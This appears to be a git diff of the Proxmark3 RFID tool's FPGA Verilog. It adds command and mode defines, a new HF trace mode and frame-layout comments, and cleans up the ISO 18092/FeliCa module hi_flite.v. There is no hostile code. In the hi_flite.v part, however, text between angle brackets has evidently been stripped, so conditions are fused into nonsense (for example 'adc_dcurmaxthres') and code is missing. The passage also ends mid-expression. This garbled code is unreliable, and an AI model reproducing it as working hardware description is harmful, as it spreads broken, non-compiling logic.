flashmem - Iceman By default `STANDALONE=LF_SAMYRUN`. diff --git a/fpga/Makefile b/fpga/Makefile index 06cdec2ee..0d2bb1625 100644 --- a/fpga/Makefile +++ b/fpga/Makefile @@ -1,9 +1,17 @@ +# +# FPGA Makefile +# +RMDIR = rm -rf +# rmdir only if dir is empty, tolerate failure +RMDIR_SOFT = -rmdir +# all: fpga_lf.bit fpga_hf.bit clean: $(Q)$(RM) *.bgn *.drc *.ncd *.ngd *_par.xrpt *-placed.* *-placed_pad.* *_usage.xml xst_hf.srp xst_lf.srp - $(Q)$(RM) *.map *.ngc *.xrpt *.pcf *.rbt *_auto_* *.bld *.mrp *.ngm *.unroutes *_summary.xml netlist.lst xst + $(Q)$(RM) *.map *.ngc *.xrpt *.pcf *.rbt *.bld *.mrp *.ngm *.unroutes *_summary.xml netlist.lst + $(Q)$(RMDIR) *_auto_* xst -fpga_hf.ngc: fpga_hf.v fpga.ucf xst_hf.scr util.v hi_simulate.v hi_read_tx.v hi_read_rx_xcorr.v hi_iso14443a.v hi_sniffer.v hi_flite.v +fpga_hf.ngc: fpga_hf.v fpga.ucf xst_hf.scr util.v hi_simulate.v hi_read_tx.v hi_read_rx_xcorr.v hi_iso14443a.v hi_sniffer.v hi_flite.v hi_get_trace.v $(Q)$(RM) $@ $(info [-] XST $@) $(Q)$(XILINX_TOOLS_PREFIX)xst -ifn xst_hf.scr diff --git a/fpga/fpga_hf.bit b/fpga/fpga_hf.bit index 7e3fc14e2..9a054eec6 100644 Binary files a/fpga/fpga_hf.bit and b/fpga/fpga_hf.bit differ diff --git a/fpga/fpga_hf.v b/fpga/fpga_hf.v index 0dc26b6ec..d23b64a08 100644 --- a/fpga/fpga_hf.v +++ b/fpga/fpga_hf.v @@ -11,8 +11,55 @@ // Jonathan Westhues, March 2006 // Added ISO14443-A support by Gerhard de Koning Gans, April 2008 // iZsh , June 2014 +// Piwi, Feb 2019 //----------------------------------------------------------------------------- + +// Defining commands, modes and options. This must be aligned to the definitions in fpgaloader.h +// Note: the definitions here are without shifts + +// Commands: +`define FPGA_CMD_SET_CONFREG 1 +`define FPGA_CMD_TRACE_ENABLE 2 + +// Major modes: +`define FPGA_MAJOR_MODE_HF_READER_TX 0 +`define FPGA_MAJOR_MODE_HF_READER_RX_XCORR 1 +`define FPGA_MAJOR_MODE_HF_SIMULATOR 2 +`define FPGA_MAJOR_MODE_HF_ISO14443A 3 +`define FPGA_MAJOR_MODE_HF_SNOOP 4 +`define FPGA_MAJOR_MODE_HF_ISO18092 5 +`define FPGA_MAJOR_MODE_HF_GET_TRACE 6 +`define FPGA_MAJOR_MODE_OFF 7 + +// Options for the generic HF reader +// Options for the HF reader, tx to tag +`define FPGA_HF_READER_TX_SHALLOW_MOD 1 + +// Options for the HF reader, correlating against rx from tag +`define FPGA_HF_READER_RX_XCORR_848_KHZ 1 +`define FPGA_HF_READER_RX_XCORR_SNOOP 2 +`define FPGA_HF_READER_RX_XCORR_QUARTER 4 + +// Options for the HF simulated tag, how to modulate +`define FPGA_HF_SIMULATOR_NO_MODULATION 0 +`define FPGA_HF_SIMULATOR_MODULATE_BPSK 1 +`define FPGA_HF_SIMULATOR_MODULATE_212K 2 +`define FPGA_HF_SIMULATOR_MODULATE_424K 4 +`define FPGA_HF_SIMULATOR_MODULATE_424K_8BIT 5 + +// Options for ISO14443A +`define FPGA_HF_ISO14443A_SNIFFER 0 +`define FPGA_HF_ISO14443A_TAGSIM_LISTEN 1 +`define FPGA_HF_ISO14443A_TAGSIM_MOD 2 +`define FPGA_HF_ISO14443A_READER_LISTEN 3 +`define FPGA_HF_ISO14443A_READER_MOD 4 + +//options for ISO18092 / Felica +`define FPGA_HF_ISO18092_FLAG_NOMOD 1 // 0001 disable modulation module +`define FPGA_HF_ISO18092_FLAG_424K 2 // 0010 should enable 414k mode (untested). No autodetect +`define FPGA_HF_ISO18092_FLAG_READER 4 // 0100 enables antenna power, to act as a reader instead of tag + `include "hi_read_tx.v" `include "hi_read_rx_xcorr.v" `include "hi_simulate.v" @@ -20,6 +67,7 @@ `include "hi_sniffer.v" `include "util.v" `include "hi_flite.v" +`include "hi_get_trace.v" module fpga_hf( input spck, output miso, input mosi, input ncs, @@ -39,8 +87,33 @@ module fpga_hf( // to the configuration bits, for use below. //----------------------------------------------------------------------------- +/* + Attempt to write up how its hooked up. Iceman 2020. + + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c see: function FpgaSendCommand() + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + + shift_reg receive this 16bit frame + + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ + reg [15:0] shift_reg; reg [7:0] conf_word; +reg trace_enable; // We switch modes between transmitting to the 13.56 MHz tag and receiving // from it, which means that we must make sure that we can do so without @@ -48,7 +121,8 @@ reg [7:0] conf_word; always @(posedge ncs) begin case(shift_reg[15:12]) - 4'b0001: conf_word <= shift_reg[7:0]; // FPGA_CMD_SET_CONFREG + `FPGA_CMD_SET_CONFREG: conf_word <= shift_reg[7:0]; + `FPGA_CMD_TRACE_ENABLE: trace_enable <= shift_reg[0]; endcase end @@ -61,8 +135,7 @@ begin end end -wire [2:0] major_mode; -assign major_mode = conf_word[7:5]; +wire [2:0] major_mode = conf_word[7:5]; // For the high-frequency transmit configuration: modulation depth, either // 100% (just quite driving antenna, steady LOW), or shallower (tri-state @@ -72,8 +145,10 @@ wire hi_read_tx_shallow_modulation = conf_word[0]; // For the high-frequency receive correlator: frequency against which to // correlate. wire hi_read_rx_xcorr_848 = conf_word[0]; + // and whether to drive the coil (reader) or just short it (snooper) wire hi_read_rx_xcorr_snoop = conf_word[1]; + // divide subcarrier frequency by 4 wire hi_read_rx_xcorr_quarter = conf_word[2]; @@ -146,6 +221,13 @@ hi_flite hfl( hi_simulate_mod_type ); +hi_get_trace gt( + ck_1356megb, + adc_d, trace_enable, major_mode, + gt_ssp_frame, gt_ssp_din, gt_ssp_clk +); + + // Major modes: // 000 -- HF reader, transmitting to tag; modulation depth selectable @@ -154,20 +236,20 @@ hi_flite hfl( // 011 -- HF ISO14443-A // 100 -- HF Snoop // 101 -- Felica modem, reusing HF reader -// 110 -- none +// 110 -- HF get trace // 111 -- everything off -mux8 mux_ssp_clk (major_mode, ssp_clk, ht_ssp_clk, hrxc_ssp_clk, hs_ssp_clk, hisn_ssp_clk, he_ssp_clk, hfl_ssp_clk, 1'b0, 1'b0); -mux8 mux_ssp_din (major_mode, ssp_din, ht_ssp_din, hrxc_ssp_din, hs_ssp_din, hisn_ssp_din, he_ssp_din, hfl_ssp_din, 1'b0, 1'b0); -mux8 mux_ssp_frame (major_mode, ssp_frame, ht_ssp_frame, hrxc_ssp_frame, hs_ssp_frame, hisn_ssp_frame, he_ssp_frame, hfl_ssp_frame, 1'b0, 1'b0); -mux8 mux_pwr_oe1 (major_mode, pwr_oe1, ht_pwr_oe1, hrxc_pwr_oe1, hs_pwr_oe1, hisn_pwr_oe1, he_pwr_oe1, hfl_pwr_oe1, 1'b0, 1'b0); -mux8 mux_pwr_oe2 (major_mode, pwr_oe2, ht_pwr_oe2, hrxc_pwr_oe2, hs_pwr_oe2, hisn_pwr_oe2, he_pwr_oe2, hfl_pwr_oe2, 1'b0, 1'b0); -mux8 mux_pwr_oe3 (major_mode, pwr_oe3, ht_pwr_oe3, hrxc_pwr_oe3, hs_pwr_oe3, hisn_pwr_oe3, he_pwr_oe3, hfl_pwr_oe3, 1'b0, 1'b0); -mux8 mux_pwr_oe4 (major_mode, pwr_oe4, ht_pwr_oe4, hrxc_pwr_oe4, hs_pwr_oe4, hisn_pwr_oe4, he_pwr_oe4, hfl_pwr_oe4, 1'b0, 1'b0); -mux8 mux_pwr_lo (major_mode, pwr_lo, ht_pwr_lo, hrxc_pwr_lo, hs_pwr_lo, hisn_pwr_lo, he_pwr_lo, hfl_pwr_lo, 1'b0, 1'b0); -mux8 mux_pwr_hi (major_mode, pwr_hi, ht_pwr_hi, hrxc_pwr_hi, hs_pwr_hi, hisn_pwr_hi, he_pwr_hi, hfl_pwr_hi, 1'b0, 1'b0); -mux8 mux_adc_clk (major_mode, adc_clk, ht_adc_clk, hrxc_adc_clk, hs_adc_clk, hisn_adc_clk, he_adc_clk, hfl_adc_clk, 1'b0, 1'b0); -mux8 mux_dbg (major_mode, dbg, ht_dbg, hrxc_dbg, hs_dbg, hisn_dbg, he_dbg, hfl_dbg, 1'b0, 1'b0); +mux8 mux_ssp_clk (major_mode, ssp_clk, ht_ssp_clk, hrxc_ssp_clk, hs_ssp_clk, hisn_ssp_clk, he_ssp_clk, hfl_ssp_clk, gt_ssp_clk, 1'b0); +mux8 mux_ssp_din (major_mode, ssp_din, ht_ssp_din, hrxc_ssp_din, hs_ssp_din, hisn_ssp_din, he_ssp_din, hfl_ssp_din, gt_ssp_din, 1'b0); +mux8 mux_ssp_frame (major_mode, ssp_frame, ht_ssp_frame, hrxc_ssp_frame, hs_ssp_frame, hisn_ssp_frame, he_ssp_frame, hfl_ssp_frame, gt_ssp_frame, 1'b0); +mux8 mux_pwr_oe1 (major_mode, pwr_oe1, ht_pwr_oe1, hrxc_pwr_oe1, hs_pwr_oe1, hisn_pwr_oe1, he_pwr_oe1, hfl_pwr_oe1, 1'b0, 1'b0); +mux8 mux_pwr_oe2 (major_mode, pwr_oe2, ht_pwr_oe2, hrxc_pwr_oe2, hs_pwr_oe2, hisn_pwr_oe2, he_pwr_oe2, hfl_pwr_oe2, 1'b0, 1'b0); +mux8 mux_pwr_oe3 (major_mode, pwr_oe3, ht_pwr_oe3, hrxc_pwr_oe3, hs_pwr_oe3, hisn_pwr_oe3, he_pwr_oe3, hfl_pwr_oe3, 1'b0, 1'b0); +mux8 mux_pwr_oe4 (major_mode, pwr_oe4, ht_pwr_oe4, hrxc_pwr_oe4, hs_pwr_oe4, hisn_pwr_oe4, he_pwr_oe4, hfl_pwr_oe4, 1'b0, 1'b0); +mux8 mux_pwr_lo (major_mode, pwr_lo, ht_pwr_lo, hrxc_pwr_lo, hs_pwr_lo, hisn_pwr_lo, he_pwr_lo, hfl_pwr_lo, 1'b0, 1'b0); +mux8 mux_pwr_hi (major_mode, pwr_hi, ht_pwr_hi, hrxc_pwr_hi, hs_pwr_hi, hisn_pwr_hi, he_pwr_hi, hfl_pwr_hi, 1'b0, 1'b0); +mux8 mux_adc_clk (major_mode, adc_clk, ht_adc_clk, hrxc_adc_clk, hs_adc_clk, hisn_adc_clk, he_adc_clk, hfl_adc_clk, 1'b0, 1'b0); +mux8 mux_dbg (major_mode, dbg, ht_dbg, hrxc_dbg, hs_dbg, hisn_dbg, he_dbg, hfl_dbg, 1'b0, 1'b0); // In all modes, let the ADC's outputs be enabled. assign adc_noe = 1'b0; diff --git a/fpga/fpga_lf.bit b/fpga/fpga_lf.bit index f694ad4cf..dd64db8a7 100644 Binary files a/fpga/fpga_lf.bit and b/fpga/fpga_lf.bit differ diff --git a/fpga/fpga_lf.v b/fpga/fpga_lf.v index 88b22b7ca..dd3fe3b0b 100644 --- a/fpga/fpga_lf.v +++ b/fpga/fpga_lf.v @@ -1,7 +1,29 @@ //----------------------------------------------------------------------------- // Jonathan Westhues, March 2006 // iZsh , June 2014 +// Piwi, Feb 2019 +// Anon, 2019 //----------------------------------------------------------------------------- +// Defining commands, modes and options. This must be aligned to the definitions in fpgaloader.h +// Note: the definitions here are without shifts + +// Commands: +`define FPGA_CMD_SET_CONFREG 1 +`define FPGA_CMD_SET_DIVISOR 2 +`define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD 3 + +// Major modes: +`define FPGA_MAJOR_MODE_LF_READER 0 +`define FPGA_MAJOR_MODE_LF_EDGE_DETECT 1 +`define FPGA_MAJOR_MODE_LF_PASSTHRU 2 +`define FPGA_MAJOR_MODE_LF_ADC 3 + +// Options for LF_READER +`define FPGA_LF_ADC_READER_FIELD 1 + +// Options for LF_EDGE_DETECT +`define FPGA_LF_EDGE_DETECT_READER_FIELD 1 +`define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 2 `include "lo_read.v" `include "lo_passthru.v" @@ -28,42 +50,115 @@ module fpga_lf( // to the configuration bits, for use below. //----------------------------------------------------------------------------- +/* + Attempt to write up how its hooked up. Iceman 2020. + + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c see: function FpgaSendCommand() + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + + shift_reg receive this 16bit frame + + LF command + ---------- + shift_reg[15:12] == 4bit command + LF has three commands (FPGA_CMD_SET_CONFREG, FPGA_CMD_SET_DIVISOR, FPGA_CMD_SET_EDGE_DETECT_THRESHOLD) + Current commands uses only 2bits. We have room for up to 4bits of commands total (7). + + LF data + ------- + shift_reg[11:0] == 12bit data + lf data is divided into MAJOR MODES and configuration values. + + The major modes uses 3bits (0,1,2,3,7 | 000, 001, 010, 011, 111) + 000 FPGA_MAJOR_MODE_LF_READER = Act as LF reader (modulate) + 001 FPGA_MAJOR_MODE_LF_EDGE_DETECT = Simulate LF + 010 FPGA_MAJOR_MODE_LF_PASSTHRU = Passthrough mode, CROSS_LO line connected to SSP_DIN. SSP_DOUT logic level controls if we modulate / listening + 011 FPGA_MAJOR_MODE_LF_ADC = refactor hitag2, clear ADC sampling + 111 FPGA_MAJOR_MODE_OFF = turn off sampling. + + Each one of this major modes can have options. Currently these two major modes uses options. + - FPGA_MAJOR_MODE_LF_READER + - FPGA_MAJOR_MODE_LF_EDGE_DETECT + + FPGA_MAJOR_MODE_LF_READER + ------------------------------------- + lf_field = 1bit (FPGA_LF_ADC_READER_FIELD) + + You can send FPGA_CMD_SET_DIVISOR to set with FREQUENCY the fpga should sample at + divisor = 8bits shift_reg[7:0] + + FPGA_MAJOR_MODE_LF_EDGE_DETECT + ------------------------------------------ + lf_ed_toggle_mode = 1bits + lf_ed_threshold = 8bits threshold defaults to 127 + + You can send FPGA_CMD_SET_EDGE_DETECT_THRESHOLD to set a custom threshold + lf_ed_threshold = 8bits threshold value. + + conf_word 12bits + conf_word[7:5] = 3bit major mode. + conf_word[0] = 1bit lf_field + conf_word[1] = 1bit lf_ed_toggle_mode + conf_word[7:0] = 8bit divisor + conf_word[7:0] = 8bit threshold + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ + reg [15:0] shift_reg; reg [7:0] divisor; -reg [7:0] conf_word; -reg [7:0] user_byte1; +reg [7:0] lf_ed_threshold; +reg [11:0] conf_word; +wire [2:0] major_mode = conf_word[7:5]; +wire lf_field = conf_word[0]; +wire lf_ed_toggle_mode = conf_word[1]; + +// Handles cmd / data frame from ARM always @(posedge ncs) begin - case(shift_reg[15:12]) - 4'b0001: + // 4 bit command + case (shift_reg[15:12]) + `FPGA_CMD_SET_CONFREG: + begin + // 12 bit data + conf_word <= shift_reg[11:0]; + if (shift_reg[7:5] == `FPGA_MAJOR_MODE_LF_EDGE_DETECT) begin - conf_word <= shift_reg[7:0]; - if (shift_reg[7:0] == 8'b00000001) begin // LF edge detect - user_byte1 <= 127; // default threshold - end + lf_ed_threshold <= 127; // default threshold end - 4'b0010: divisor <= shift_reg[7:0]; // FPGA_CMD_SET_DIVISOR - 4'b0011: user_byte1 <= shift_reg[7:0]; // FPGA_CMD_SET_USER_BYTE1 + end + + `FPGA_CMD_SET_DIVISOR: + divisor <= shift_reg[7:0]; // 8bits + + `FPGA_CMD_SET_EDGE_DETECT_THRESHOLD: + lf_ed_threshold <= shift_reg[7:0]; // 8 bits endcase end +// Receive 16bits of data from ARM here. always @(posedge spck) begin - if(~ncs) + if (~ncs) begin shift_reg[15:1] <= shift_reg[14:0]; shift_reg[0] <= mosi; end end -wire [2:0] major_mode = conf_word[7:5]; - -// For the low-frequency configuration: -wire lf_field = conf_word[0]; -wire lf_ed_toggle_mode = conf_word[1]; // for lo_edge_detect -wire [7:0] lf_ed_threshold = user_byte1; - //----------------------------------------------------------------------------- // And then we instantiate the modules corresponding to each of the FPGA's // major modes, and use muxes to connect the outputs of the active mode to @@ -106,9 +201,8 @@ lo_adc la( la_pwr_lo, la_pwr_hi, la_pwr_oe1, la_pwr_oe2, la_pwr_oe3, la_pwr_oe4, adc_d, la_adc_clk, la_ssp_frame, la_ssp_din, ssp_dout, la_ssp_clk, - cross_hi, cross_lo, la_dbg, divisor, - lo_is_125khz, lf_field + lf_field ); // Major modes: @@ -116,20 +210,22 @@ lo_adc la( // 001 -- LF edge detect (generic) // 010 -- LF passthrough // 011 -- LF ADC (read/write) -// 110 -- FPGA_MAJOR_MODE_OFF_LF (rdv40 specific) +// 100 -- unused +// 101 -- unused +// 110 -- unused // 111 -- FPGA_MAJOR_MODE_OFF -// 000 001 010 011 100 101 110 111 -mux8 mux_ssp_clk (major_mode, ssp_clk, lr_ssp_clk, le_ssp_clk, 1'b0, la_ssp_clk, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_ssp_din (major_mode, ssp_din, lr_ssp_din, 1'b0, lp_ssp_din, la_ssp_din, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_ssp_frame (major_mode, ssp_frame, lr_ssp_frame, le_ssp_frame, 1'b0, la_ssp_frame, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe1 (major_mode, pwr_oe1, lr_pwr_oe1, le_pwr_oe1, lp_pwr_oe1, la_pwr_oe1, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe2 (major_mode, pwr_oe2, lr_pwr_oe2, le_pwr_oe2, lp_pwr_oe2, la_pwr_oe2, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe3 (major_mode, pwr_oe3, lr_pwr_oe3, le_pwr_oe3, lp_pwr_oe3, la_pwr_oe3, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe4 (major_mode, pwr_oe4, lr_pwr_oe4, le_pwr_oe4, lp_pwr_oe4, la_pwr_oe4, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_lo (major_mode, pwr_lo, lr_pwr_lo, le_pwr_lo, lp_pwr_lo, la_pwr_lo, 1'b0, 1'b0, 1'b1, 1'b0); -mux8 mux_pwr_hi (major_mode, pwr_hi, lr_pwr_hi, le_pwr_hi, lp_pwr_hi, la_pwr_hi, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_adc_clk (major_mode, adc_clk, lr_adc_clk, le_adc_clk, lp_adc_clk, la_adc_clk, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_dbg (major_mode, dbg, lr_dbg, le_dbg, lp_dbg, la_dbg, 1'b0, 1'b0, 1'b0, 1'b0); +// 000 001 010 011 100 101 110 111 +mux8 mux_ssp_clk (major_mode, ssp_clk, lr_ssp_clk, le_ssp_clk, 1'b0, la_ssp_clk, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_ssp_din (major_mode, ssp_din, lr_ssp_din, 1'b0, lp_ssp_din, la_ssp_din, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_ssp_frame (major_mode, ssp_frame, lr_ssp_frame, le_ssp_frame, 1'b0, la_ssp_frame, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe1 (major_mode, pwr_oe1, lr_pwr_oe1, le_pwr_oe1, lp_pwr_oe1, la_pwr_oe1, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe2 (major_mode, pwr_oe2, lr_pwr_oe2, le_pwr_oe2, lp_pwr_oe2, la_pwr_oe2, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe3 (major_mode, pwr_oe3, lr_pwr_oe3, le_pwr_oe3, lp_pwr_oe3, la_pwr_oe3, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe4 (major_mode, pwr_oe4, lr_pwr_oe4, le_pwr_oe4, lp_pwr_oe4, la_pwr_oe4, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_lo (major_mode, pwr_lo, lr_pwr_lo, le_pwr_lo, lp_pwr_lo, la_pwr_lo, 1'b0, 1'b0, 1'b1, 1'b0); +mux8 mux_pwr_hi (major_mode, pwr_hi, lr_pwr_hi, le_pwr_hi, lp_pwr_hi, la_pwr_hi, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_adc_clk (major_mode, adc_clk, lr_adc_clk, le_adc_clk, lp_adc_clk, la_adc_clk, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_dbg (major_mode, dbg, lr_dbg, le_dbg, lp_dbg, la_dbg, 1'b0, 1'b0, 1'b0, 1'b0); // In all modes, let the ADC's outputs be enabled. assign adc_noe = 1'b0; diff --git a/fpga/hi_flite.v b/fpga/hi_flite.v index 18d3a46ac..97d0154ea 100644 --- a/fpga/hi_flite.v +++ b/fpga/hi_flite.v @@ -1,11 +1,17 @@ +/* + This code demodulates and modulates signal as described in ISO/IEC 18092. + That includes packets used for Felica, NFC Tag 3, etc. (which do overlap) + simple envelope following algorithm is used (modification of fail0verflow LF one) + is used to combat some nasty aliasing effect with testing phone (envelope looked like sine wave) -//this code demodulates and modulates signal as described in ISO/IEC 18092. That includes packets used for Felica, NFC Tag 3, etc. (which do overlap) -//simple envelope following algorithm is used (modification of fail0verflow LF one) is used to combat some nasty aliasing effect with testing phone (envelope looked like sine wave) -// only 212 kbps (fc/64) for now 414 is relatively straightforward... though for reader, the selection has to come from ARM -// modulation waits for -//market sprocket -doesn't really mean anything ;) -//redefining mod_type: bits 210: bit 2 - reader drive/power on/off, bit 1 - speed bit, 0:212, 1 -424 bit 0: listen or modulate + Speeds supported: only 212 kbps (fc/64) for now. Todo: 414 kbps + though for reader, the selection has to come from ARM. modulation waits for market sprocket -doesn't really mean anything + mod_type: bits 210: + bit 2 : reader drive/power on/off + bit 1 : speed bit, 0 : 212, 1 :424 + bit 0 : listen or modulate +*/ module hi_flite( pck0, ck_1356meg, ck_1356megb, @@ -14,7 +20,7 @@ module hi_flite( ssp_frame, ssp_din, ssp_dout, ssp_clk, cross_hi, cross_lo, dbg, - mod_type // used + mod_type ); input pck0, ck_1356meg, ck_1356megb; @@ -25,79 +31,69 @@ module hi_flite( output ssp_frame, ssp_din, ssp_clk; input cross_hi, cross_lo; output dbg; - input [2:0] mod_type; // used. + input [2:0] mod_type; assign dbg=0; -wire power= mod_type[2]; -wire speed= mod_type[1]; -wire disabl= mod_type[0]; +wire power = mod_type[2]; +wire speed = mod_type[1]; +wire disabl = mod_type[0]; // Most off, oe4 for modulation; // Trying reader emulation (would presumably just require switching power on, but I am not sure) - //;// 1'b0; assign pwr_lo = 1'b0; - - -//512x64/fc -wait before ts0, 32768 ticks -//tslot: 256*64/fc - +// 512x64/fc -wait before ts0, 32768 ticks +// tslot: 256*64/fc assign adc_clk = ck_1356meg; - ///heuristic values for initial thresholds. seem to work OK -`define imin 70//(13'd256) -`define imax 180//(-13'd256) -`define ithrmin 91//-13'd8 -`define ithrmax 160// 13'd8 +`define imin 70 // (13'd256) +`define imax 180 // (-13'd256) +`define ithrmin 91 // -13'd8 +`define ithrmax 160 // 13'd8 `define min_bitdelay_212 8 //minimum values and corresponding thresholds reg [8:0] curmin=`imin; - reg [8:0] curminthres=`ithrmin; - reg [8:0] curmaxthres=`ithrmax; reg [8:0] curmax=`imax; - //signal state, 1-not modulated, 0 -modulated reg after_hysteresis = 1'b1; //state machine for envelope tracking reg [1:0] state=1'd0; - //lower edge detected, trying to detect first bit of SYNC (b24d, 1011001001001101) reg try_sync=1'b0; //detected first sync bit, phase frozen reg did_sync=0; +`define bithalf_212 32 // half-bit length for 212 kbit +`define bitmlen_212 63 // bit transition edge -`define bithalf_212 32 //half-bit length for 212 kbit -`define bitmlen_212 63 //bit transition edge +`define bithalf_424 16 // half-bit length for 212 kbit +`define bitmlen_424 31 // bit transition edge -`define bithalf_424 16 //half-bit length for 212 kbit -`define bitmlen_424 31 //bit transition edge - -wire [7:0]bithalf= speed ? `bithalf_424 : `bithalf_212; -wire [7:0]bitmlen= speed ? `bitmlen_424 : `bitmlen_212; +wire [7:0] bithalf = speed ? `bithalf_424 : `bithalf_212; +wire [7:0] bitmlen = speed ? `bitmlen_424 : `bitmlen_212; //ssp clock and current values reg ssp_clk; reg ssp_frame; -reg curbit=1'b0; +reg curbit = 1'b0; -reg [7:0] fccount=8'd0; // in-bit tick counter. Counts carrier cycles from the first lower edge detected, reset on every manchester bit detected +reg [7:0] fccount = 8'd0; // in-bit tick counter. Counts carrier cycles from the first lower edge detected, reset on every manchester bit detected -reg [7:0] tsinceedge=8'd0;// ticks from last edge, desync if the valye is too large +reg [7:0] tsinceedge = 8'd0;// ticks from last edge, desync if the valye is too large -reg zero=1'b0; // Manchester first halfbit low second high corresponds to this value. It has been known to change. SYNC is used to set it +reg zero = 1'b0; // Manchester first halfbit low second high corresponds to this value. It has been known to change. SYNC is used to set it //ssp counter for transfer and framing -reg [8:0] ssp_cnt=9'd0; +reg [8:0] ssp_cnt = 9'd0; always @(posedge adc_clk) ssp_cnt <= (ssp_cnt + 1); @@ -108,238 +104,202 @@ always @(posedge adc_clk) always @(negedge adc_clk) begin //count fc/64 - transfer bits to ARM at the rate they are received - if( ((~speed) && (ssp_cnt[5:0] == 6'b000000)) || (speed &&(ssp_cnt[4:0] == 5'b00000))) + if( ((~speed) && (ssp_cnt[5:0] == 6'b000000)) || (speed && (ssp_cnt[4:0] == 5'b00000))) begin ssp_clk <= 1'b1; - // if(mod_type[2]) - // begin - // ssp_din<=outp[0];//after_hysteresis; - - //outp<={1'b0,outp[7:1]}; - // end - // else ssp_din <= curbit; - - //sample ssp_dout - end if( ( (~speed) && (ssp_cnt[5:0] == 6'b100000)) ||(speed && ssp_cnt[4:0] == 5'b10000)) ssp_clk <= 1'b0; //create frame pulses. TBH, I still don't know what they do exactly, but they are crucial for ARM->FPGA transfer. If the frame is in the beginning of the byte, transfer slows to a crawl for some reason // took me a day to figure THAT out. - if(( (~speed) && (ssp_cnt[8:0] == 9'd31))||(speed && ssp_cnt[7:0] == 8'd15)) + if(( (~speed) && (ssp_cnt[8:0] == 9'd31)) || (speed && ssp_cnt[7:0] == 8'd15)) begin ssp_frame <= 1'b1; end - if(( (~speed) && (ssp_cnt[8:0] == 9'b1011111))||(speed &&ssp_cnt[7:0] == 8'b101111) ) + if(( (~speed) && (ssp_cnt[8:0] == 9'b1011111)) || (speed &&ssp_cnt[7:0] == 8'b101111) ) begin ssp_frame <= 1'b0; end end - - - //send current bit (detected in SNIFF mode or the one being modulated in MOD mode, 0 otherwise) -reg ssp_din;//= outp[0]; - - +reg ssp_din; //previous signal value, mostly to detect SYNC -reg prv =1'b1; - - -reg[7:0] mid=8'd128; //for simple error correction in mod/demod detection, use maximum of modded/demodded in given interval. Maybe 1 bit is extra? but better safe than sorry. +reg prv = 1'b1; +// for simple error correction in mod/demod detection, use maximum of modded/demodded in given interval. Maybe 1 bit is extra? but better safe than sorry. +reg[7:0] mid = 8'd128; // set TAGSIM__MODULATE on ARM if we want to write... (frame would get lost if done mid-frame...) // start sending over 1s on ssp->arm when we start sending preamble - -reg counting_desync=1'b0; // are we counting bits since last frame? -reg sending=1'b0; // are we actively modulating? -reg [11:0] bit_counts=12'd0;///for timeslots... only support ts=0 for now, at 212 speed -512 fullbits from end of frame. One hopes. might remove those? +// reg sending = 1'b0; // are we actively modulating? +reg [11:0] bit_counts = 12'd0; // for timeslots. only support ts=0 for now, at 212 speed -512 fullbits from end of frame. One hopes. might remove those? -//reg [2:0]old_mod; - -//always @(mod_type) //when moving from modulate_mode -//begin -//if (mod_type[2]==1&&old_mod[2]==0) -// bit_counts=0; -//old_mod=mod_type; -//end //we need some way to flush bit_counts triggers on mod_type changes don't compile reg dlay; -always @(negedge adc_clk) //every data ping? +always @(negedge adc_clk) // every data ping? begin //envelope follow code... //////////// - - //move the counter to the outside... - // if (adc_d>=curminthres||try_sync) - if(fccount==bitmlen) + if (fccount == bitmlen) begin - if((~try_sync)&&(adc_d768) // should be over ts0 now, without ARM interference... stop counting... + dlay <= ssp_dout; + if (bit_counts > 768) // should be over ts0 now, without ARM interference... stop counting... begin - bit_counts<=0; - // counting_desync<=0; + bit_counts <= 0; end else - if((power)) - bit_counts<=0; + if (power) + bit_counts <= 0; else - bit_counts<=bit_counts+1; - // end + bit_counts <= bit_counts + 1; end else begin - if((~try_sync)&&(adc_dcurmaxthres) //rising edge + // rising edge + if (adc_d > curmaxthres) begin case (state) 0: begin - curmax <= adc_d>`imax? adc_d :`imax; + curmax <= adc_d > `imax? adc_d : `imax; state <= 2; end 1: begin - curminthres <= ( (curmin>>1)+(curmin>>2)+(curmin>>4)+(curmax>>3)+(curmax>>4)); //threshold: 0.1875 max + 0.8125 min - curmaxthres <= ( (curmax>>1)+(curmax>>2)+(curmax>>4)+(curmin>>3)+(curmin>>4)); - curmax <= adc_d>155? adc_d :155; // to hopefully prevent overflow from spikes going up to 255 + curminthres <= ((curmin >> 1) + (curmin >> 2) + (curmin >> 4) + (curmax >> 3) + (curmax >> 4)); //threshold: 0.1875 max + 0.8125 min + curmaxthres <= ((curmax >> 1) + (curmax >> 2) + (curmax >> 4) + 